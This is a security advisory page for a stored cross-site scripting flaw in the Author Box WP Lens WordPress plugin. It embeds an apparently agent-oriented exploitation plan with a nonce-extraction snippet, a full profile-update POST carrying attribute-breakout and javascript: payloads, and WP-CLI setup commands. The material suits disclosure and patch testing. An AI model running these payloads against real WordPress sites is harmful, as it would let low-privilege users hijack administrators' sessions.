Author Box WP Lens <= 2.1.5 - Authenticated (Subscriber+) Stored Cross-Site Scripting
Description
The Author Box WP Lens plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 2.1.5 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with subscriber-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=2.1.5What Changed in the Fix
Changes introduced in v2.1.6
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-57420 ## 1. Vulnerability Summary The **Author Box WP Lens** plugin (<= 2.1.5) is vulnerable to **Authenticated Stored Cross-Site Scripting (XSS)**. The vulnerability exists because the plugin allows users (including those with Subscriber-level permissions) t…
Show full research plan
Exploitation Research Plan - CVE-2026-57420
1. Vulnerability Summary
The Author Box WP Lens plugin (<= 2.1.5) is vulnerable to Authenticated Stored Cross-Site Scripting (XSS). The vulnerability exists because the plugin allows users (including those with Subscriber-level permissions) to save arbitrary metadata in their profile (specifically photograph URLs and social media links) without sufficient sanitization. Furthermore, these values are rendered in the frontend author box template (templates/author-box.php) without proper escaping, allowing an attacker to inject malicious JavaScript that executes when any user views a post authored by the attacker.
2. Attack Vector Analysis
- Vulnerable Endpoint:
wp-admin/profile.php(handled bypersonal_options_updateandedit_user_profile_updatehooks). - Vulnerable Hooks:
ABFD::abfd_user_save(hooked to profile updates). - Vulnerable Sink:
templates/author-box.php(frontend rendering). - Vulnerable Parameters:
abfd-user-photographabfd-user-social-networks-[network_key](e.g.,abfd-user-social-networks-facebook)
- Authentication Level: Subscriber or higher.
- Preconditions: The plugin must be active and configured to display the author box on posts (default behavior).
3. Code Flow
- Input: A Subscriber user updates their profile at
/wp-admin/profile.php. - Registration:
index.phpregisters the save handler:add_action('personal_options_update', array('ABFD', 'abfd_user_save')); - Storage: The function
abfd_user_save(inferred) processes thePOSTrequest and usesupdate_user_metato save fields starting withabfd-user-to the database without sanitization. - Rendering: When a post by that author is viewed,
index.phptriggersthe_contentfilter, which callsABFD::the_contentand eventually renderstemplates/author-box.php. - Execution: In
templates/author-box.php, the stored meta is echoed:
The lack of// Vulnerable Photograph sink <div class="abfd-photograph" style="background-image: url('<?php echo $fields['photograph']; ?>');"></div> // Vulnerable Social Link sink <a ... href="<?php echo $fields['social-networks'][$key]; ?>" ...>esc_url()oresc_attr()here allows for attribute breakout.
4. Nonce Acquisition Strategy
The profile update requires a nonce generated by wp_nonce_field('abfd', 'abfd-nonce') in templates/user_page.php.
- Navigate: Use
browser_navigateto/wp-admin/profile.phpwhile logged in as a Subscriber. - Extract: Use
browser_evalto extract the nonce value from the hidden input field.// The field is rendered by wp_nonce_field('abfd', 'abfd-nonce') document.getElementsByName('abfd-nonce')[0].value
5. Exploitation Strategy
- Login: Authenticate as a Subscriber user.
- Retrieve Nonce: Navigate to the profile page and extract the
abfd-nonce. - Inject Payload: Send an
http_request(POST) towp-admin/profile.phpto update the user's meta.- Target URL:
/wp-admin/profile.php - Method:
POST - Body Parameters:
action:updateuser_id: [Subscriber ID]abfd-nonce: [Extracted Nonce]abfd-user-photograph:https://example.com/x.png');" onmouseover="alert(document.domain)" data-x="abfd-user-social-networks-facebook:javascript:alert('XSS_SOCIAL')from:profilecheckuser_id: [Subscriber ID]submit:Update Profile
- Target URL:
- Trigger XSS:
- Ensure the Subscriber has at least one published post.
- Navigate to the URL of that post as an administrator.
- Hover over the author photograph or click the Facebook social icon to trigger the payload.
6. Test Data Setup
- Plugin Configuration: Ensure "Author Box WP Lens" is active.
- User Creation: Create a user with the
subscriberrole. - Content Creation: Create a post and set the
subscriberuser as the author.wp user create attacker attacker@example.com --role=subscriber --user_pass=password123 wp post create --post_title="XSS Test Post" --post_author=$(wp user get attacker --field=ID) --post_status=publish
7. Expected Results
- The HTTP POST request should return a
302redirecting back toprofile.php?updated=1. - On the frontend post page, the HTML for the author box should look like:
<div class="abfd-photograph" style="background-image: url('https://example.com/x.png');" onmouseover="alert(document.domain)" data-x="');"></div> <a href="javascript:alert('XSS_SOCIAL')" ...>
8. Verification Steps
- Check Database: Use WP-CLI to verify the payload is stored in user meta.
wp user meta get $(wp user get attacker --field=ID) abfd-user-photograph - Check Frontend Response: Fetch the post content and search for the unescaped payload.
# Use http_request to get the post HTML and look for: # onmouseover="alert(document.domain)"
9. Alternative Approaches
If personal_options_update is strictly protected, the same fields might be exploitable via the "Author Box for Divi" settings page if they are accessible to higher roles (Contributor/Author), or via the abfd_refresh_preview AJAX action if it renders the template with unsanitized data:
- Action:
wp_ajax_abfd_preview - Hook:
ABFD::abfd_refresh_preview - Method: POST to
/wp-admin/admin-ajax.phpwithaction=abfd_previewand the payload fields.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.